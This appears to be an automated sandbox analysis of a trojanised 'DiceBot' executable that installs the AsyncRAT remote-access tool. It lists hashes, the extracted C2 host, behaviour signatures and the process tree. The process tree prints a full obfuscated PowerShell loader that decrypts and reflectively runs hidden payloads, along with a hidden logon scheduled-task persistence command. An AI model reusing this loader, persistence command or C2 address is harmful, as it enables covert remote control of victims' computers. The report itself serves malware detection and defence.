Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-01-2025 21:06

General

  • Target

    DiceBot 5.0.4/DiceBot 5.0.4.exe

  • Size

    178KB

  • MD5

    109ffbefe8cccafc6db7276baa45be0f

  • SHA1

    df7300d951756013db8b820ce4b4044559fe83d1

  • SHA256

    647de53b1d9e75ec2ff48838924ddd00799d05c0d61af111a842a59621a90f7c

  • SHA512

    13af9f6925cb22bb2b4c644e6737d37e508c1a53677942619c415265e4a9b699769df7406d6409dad5198c428bf66c54cf33490a2b98450546b73a68422793d5

  • SSDEEP

    768:mj+HObZiwMBp7jlP9LWJz9AktYcF2l1x6KOFn60KS:m9bZi7B0QY21xlOFn60KS

Malware Config

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Stake

C2

powershellcmd.theworkpc.com:111

Mutex

AsyncMutex_bloxstrap

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DiceBot 5.0.4\DiceBot 5.0.4.exe
    "C:\Users\Admin\AppData\Local\Temp\DiceBot 5.0.4\DiceBot 5.0.4.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\DiceBot 5.0.4\data\driver.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3228
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9a3dmqA7Z/DHdYvQvXDxJB6f7txQiyBVadbPgdWDko0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vXseLiQG8ejGzth94Cz/bQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DAOFT=New-Object System.IO.MemoryStream(,$param_var); $BxAQM=New-Object System.IO.MemoryStream; $tsDqC=New-Object System.IO.Compression.GZipStream($DAOFT, [IO.Compression.CompressionMode]::Decompress); $tsDqC.CopyTo($BxAQM); $tsDqC.Dispose(); $DAOFT.Dispose(); $BxAQM.Dispose(); $BxAQM.ToArray();}function execute_function($param_var,$param2_var){ $pDhYm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKlGi=$pDhYm.EntryPoint; $uKlGi.Invoke($null, $param2_var);}$jqCUp = 'C:\Users\Admin\AppData\Local\Temp\DiceBot 5.0.4\data\driver.bat';$host.UI.RawUI.WindowTitle = $jqCUp;$GNhJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jqCUp).Split([Environment]::NewLine);foreach ($JyGcd in $GNhJC) { if ($JyGcd.StartsWith('KUxGjdLQAzrzMfSYqNGS')) { $mXPBz=$JyGcd.Substring(20); break; }}$payloads_var=[string[]]$mXPBz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:2184
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3488
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_516_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_516.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:824
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_516.vbs"
            4⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1908
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_516.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:228
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9a3dmqA7Z/DHdYvQvXDxJB6f7txQiyBVadbPgdWDko0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vXseLiQG8ejGzth94Cz/bQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DAOFT=New-Object System.IO.MemoryStream(,$param_var); $BxAQM=New-Object System.IO.MemoryStream; $tsDqC=New-Object System.IO.Compression.GZipStream($DAOFT, [IO.Compression.CompressionMode]::Decompress); $tsDqC.CopyTo($BxAQM); $tsDqC.Dispose(); $DAOFT.Dispose(); $BxAQM.Dispose(); $BxAQM.ToArray();}function execute_function($param_var,$param2_var){ $pDhYm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKlGi=$pDhYm.EntryPoint; $uKlGi.Invoke($null, $param2_var);}$jqCUp = 'C:\Users\Admin\AppData\Roaming\Windows_Log_516.bat';$host.UI.RawUI.WindowTitle = $jqCUp;$GNhJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jqCUp).Split([Environment]::NewLine);foreach ($JyGcd in $GNhJC) { if ($JyGcd.StartsWith('KUxGjdLQAzrzMfSYqNGS')) { $mXPBz=$JyGcd.Substring(20); break; }}$payloads_var=[string[]]$mXPBz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3368
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3512
      • C:\Users\Admin\AppData\Local\Temp\DiceBot 5.0.4\data\render.exe
        "C:\Users\Admin\AppData\Local\Temp\DiceBot 5.0.4\data\render.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3320 -s 888
          3⤵
          • Program crash
          PID:2292
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3320 -ip 3320
      1⤵
        PID:1412

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        55d32bc1c206428fe659912b361362de

        SHA1

        7056271e5cf73b03bafc4e616a0bc5a4cffc810f

        SHA256

        37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

        SHA512

        2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

        Filesize

        20KB

        MD5

        1e52f697b7003cd1c6875fe012a220bb

        SHA1

        d06ab8dbf87158ee8182dca491e4b320961dba95

        SHA256

        cd00b08b6b35dd97567c0d70351ad99e06c910b8712e3735171a2f580f53b4a2

        SHA512

        045828221c963deb0b7c7a34a1c5e9835707bac487abb31cf9a9a99e74329c17ab4ff6e9d0d11d0b508353aea4840e89e361a19c39b60b82d6cd5fd46de9a933

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1edus5ki.ovo.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Windows_Log_516.bat

        Filesize

        54KB

        MD5

        17f33919a97f2aef8e0c3319220c5c7e

        SHA1

        71d81cd98b31275cd626ff2b219b8ab5149e30ce

        SHA256

        afb0d669166beac060fe834d4d0c593b50b1700e913f81fa8df6533be14c9cbf

        SHA512

        8cc5ed6d9eea9f4f380edecba3265194d6cbf9ad7162c8166f5aea3dee964b5dbf0959f1b5d3bb87222d155428e850c01346af366c8eb07b57ec3975dcf62a5b

      • C:\Users\Admin\AppData\Roaming\Windows_Log_516.vbs

        Filesize

        115B

        MD5

        84110ff817798c70438db1a745a75776

        SHA1

        30a53f41db5fbf00f1969bf912f6174d78352c7d

        SHA256

        4cdfa3769b34bfe038edd82823b27f69c4bb62f325e1e6dd18e7c5d5fdfd0a86

        SHA512

        a15875b286b04c828eae80e9bcbbf4fdb025d7a6c14a8919f44d5e0e994be2c1996dd1ae8a87f21e81aa4c4a2b610bcfbfa56c1f2c85e921b1cdabd2ae2f3621

      • memory/824-68-0x0000000007E00000-0x0000000007E96000-memory.dmp

        Filesize

        600KB

      • memory/824-69-0x0000000007D70000-0x0000000007D81000-memory.dmp

        Filesize

        68KB

      • memory/824-54-0x0000000007A00000-0x0000000007A32000-memory.dmp

        Filesize

        200KB

      • memory/824-67-0x0000000007BD0000-0x0000000007BDA000-memory.dmp

        Filesize

        40KB

      • memory/824-66-0x0000000007A40000-0x0000000007AE3000-memory.dmp

        Filesize

        652KB

      • memory/824-65-0x0000000006DD0000-0x0000000006DEE000-memory.dmp

        Filesize

        120KB

      • memory/824-55-0x00000000711D0000-0x000000007121C000-memory.dmp

        Filesize

        304KB

      • memory/1096-14-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

        Filesize

        10.8MB

      • memory/1096-12-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

        Filesize

        10.8MB

      • memory/1096-11-0x000001B0E4980000-0x000001B0E49A2000-memory.dmp

        Filesize

        136KB

      • memory/1096-1-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

        Filesize

        8KB

      • memory/1096-0-0x000001B0C95F0000-0x000001B0C961E000-memory.dmp

        Filesize

        184KB

      • memory/3320-18-0x0000000004FA0000-0x0000000005544000-memory.dmp

        Filesize

        5.6MB

      • memory/3320-21-0x0000000005550000-0x00000000056F6000-memory.dmp

        Filesize

        1.6MB

      • memory/3320-15-0x00000000750AE000-0x00000000750AF000-memory.dmp

        Filesize

        4KB

      • memory/3320-16-0x00000000000C0000-0x00000000001C2000-memory.dmp

        Filesize

        1.0MB

      • memory/3320-20-0x0000000004AD0000-0x0000000004B62000-memory.dmp

        Filesize

        584KB

      • memory/3488-24-0x0000000005FC0000-0x0000000006026000-memory.dmp

        Filesize

        408KB

      • memory/3488-23-0x00000000057F0000-0x0000000005812000-memory.dmp

        Filesize

        136KB

      • memory/3488-43-0x0000000007CA0000-0x0000000007CB0000-memory.dmp

        Filesize

        64KB

      • memory/3488-36-0x00000000067A0000-0x00000000067BE000-memory.dmp

        Filesize

        120KB

      • memory/3488-35-0x00000000061D0000-0x0000000006524000-memory.dmp

        Filesize

        3.3MB

      • memory/3488-25-0x00000000060E0000-0x0000000006146000-memory.dmp

        Filesize

        408KB

      • memory/3488-37-0x0000000006870000-0x00000000068BC000-memory.dmp

        Filesize

        304KB

      • memory/3488-42-0x0000000007C70000-0x0000000007C78000-memory.dmp

        Filesize

        32KB

      • memory/3488-41-0x0000000007B60000-0x0000000007B7A000-memory.dmp

        Filesize

        104KB

      • memory/3488-40-0x00000000081C0000-0x000000000883A000-memory.dmp

        Filesize

        6.5MB

      • memory/3488-19-0x0000000005890000-0x0000000005EB8000-memory.dmp

        Filesize

        6.2MB

      • memory/3488-17-0x0000000005220000-0x0000000005256000-memory.dmp

        Filesize

        216KB

      • memory/3488-39-0x0000000007AC0000-0x0000000007B36000-memory.dmp

        Filesize

        472KB

      • memory/3488-38-0x00000000079C0000-0x0000000007A04000-memory.dmp

        Filesize

        272KB

      • memory/3512-89-0x00000000072E0000-0x00000000072F6000-memory.dmp

        Filesize

        88KB

      • memory/3512-90-0x00000000074E0000-0x00000000074EA000-memory.dmp

        Filesize

        40KB